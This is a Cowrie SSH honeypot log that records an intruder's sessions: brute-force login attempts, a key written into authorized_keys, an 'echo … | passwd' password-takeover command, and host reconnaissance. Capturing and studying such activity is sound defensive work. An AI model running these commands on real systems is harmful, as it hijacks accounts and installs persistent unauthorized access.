{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.473248Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.477338Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":51382,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc002b6998f","protocol":"ssh","message":"New connection: 50.225.176.238:51382 (10.17.0.5:22) [session: ccc002b6998f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.484787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.489781Z","src_ip":"50.225.176.238","session":"ccc002b6998f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.501858Z","src_ip":"50.225.176.238","session":"ccc002b6998f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.581448Z","src_ip":"50.225.176.238","session":"ccc002b6998f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:33.596982Z","src_ip":"50.225.176.238","session":"ccc002b6998f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":51392,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e3652f3209f","protocol":"ssh","message":"New connection: 50.225.176.238:51392 (10.17.0.5:22) [session: 8e3652f3209f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:33.604908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:33.609308Z","src_ip":"50.225.176.238","session":"8e3652f3209f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:33.620702Z","src_ip":"50.225.176.238","session":"8e3652f3209f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:33.701015Z","src_ip":"50.225.176.238","session":"8e3652f3209f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:34.969610Z","src_ip":"50.225.176.238","session":"8e3652f3209f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.055751Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.059296Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.080934Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.156175Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2017\\n0HG7UKOrOxZb\\n0HG7UKOrOxZb\"|passwd|bash","message":"CMD: echo -e \"admin@2017\\n0HG7UKOrOxZb\\n0HG7UKOrOxZb\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.159805Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.163952Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.167891Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/73ca4a9f085e4ed8925142998ca6c9e5638eba75313570ef6b440ce7353944ec","size":32,"shasum":"73ca4a9f085e4ed8925142998ca6c9e5638eba75313570ef6b440ce7353944ec","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/73ca4a9f085e4ed8925142998ca6c9e5638eba75313570ef6b440ce7353944ec after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.184325Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.263178Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2017\\n0HG7UKOrOxZb\\n0HG7UKOrOxZb\\n\"|passwd","message":"CMD: echo \"admin@2017\\n0HG7UKOrOxZb\\n0HG7UKOrOxZb\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.266943Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/bf3570cb260aef0c4f87d12184552e6ffe9c81b8ae188d78f62271bbed21205c","size":25,"shasum":"bf3570cb260aef0c4f87d12184552e6ffe9c81b8ae188d78f62271bbed21205c","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/bf3570cb260aef0c4f87d12184552e6ffe9c81b8ae188d78f62271bbed21205c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.285082Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.357776Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.361663Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.379800Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.457959Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.461380Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.478051Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.573333Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.576983Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.580615Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.599709Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.680553Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.684218Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.701490Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.775618Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.778945Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.796026Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.873079Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.877136Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.894445Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.971301Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.974831Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:35.993240Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.069825Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.072869Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.089292Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.188078Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.191335Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.207332Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.278285Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.281778Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.297928Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.370790Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.374543Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.394224Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.467118Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.470417Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.487282Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.560120Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
